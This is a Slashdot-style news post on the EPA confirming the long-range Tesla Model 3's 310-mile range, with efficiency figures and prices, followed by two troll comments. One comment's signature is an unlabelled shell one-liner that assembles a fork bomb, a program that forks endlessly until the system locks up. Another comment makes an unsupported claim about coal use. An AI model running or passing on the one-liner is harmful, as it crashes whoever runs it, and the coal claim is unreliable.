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EPA Confirms Tesla's Model 3 Has a Range of 310 Miles (theverge.com)

Posted by BeauHD on from the electric-efficiency dept.

Tesla's Model 3 has a confirmed range of 310 miles, according to the Environmental Protection Agency. "That figure applies to the long-range version of the Model 3, and echoes the vehicle specs released by Tesla back in July," reports The Verge. "It also makes the Model 3 one of the most efficient passenger electric vehicles on the market." From the report: The EPA's range is used as the advertised figure for electric vehicles that are sold in the US. The 310-mile range is an estimate of the number of miles the vehicle should be able to travel in combined city and highway driving from a full charge. That's 131 miles per gallon gasoline equivalent (MPGe) for city driving, 120 MPGe on the highway, and 126 MPGe combined. You'll have to pay more to get that extended range, though. Tesla said it would be selling a standard version of the Model 3, with just 220 miles of range, for $35,000. The long-range version will start at $44,000, the automaker says. Production on the standard version isn't expected to begin until 2018.

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  1. Re:Impressive by Hal_Porter · · Score: -1, Troll

    Homophobia from the left? Why am I not surprised...

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    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
  2. Coal Per Charge? by Zorro · · Score: -1, Troll

    So how much actual coal is that per mile?

    Probably takes 2000 pounds of coal to make the electricity to charge it up once?

    Especially the coal electricity California imports from Utah.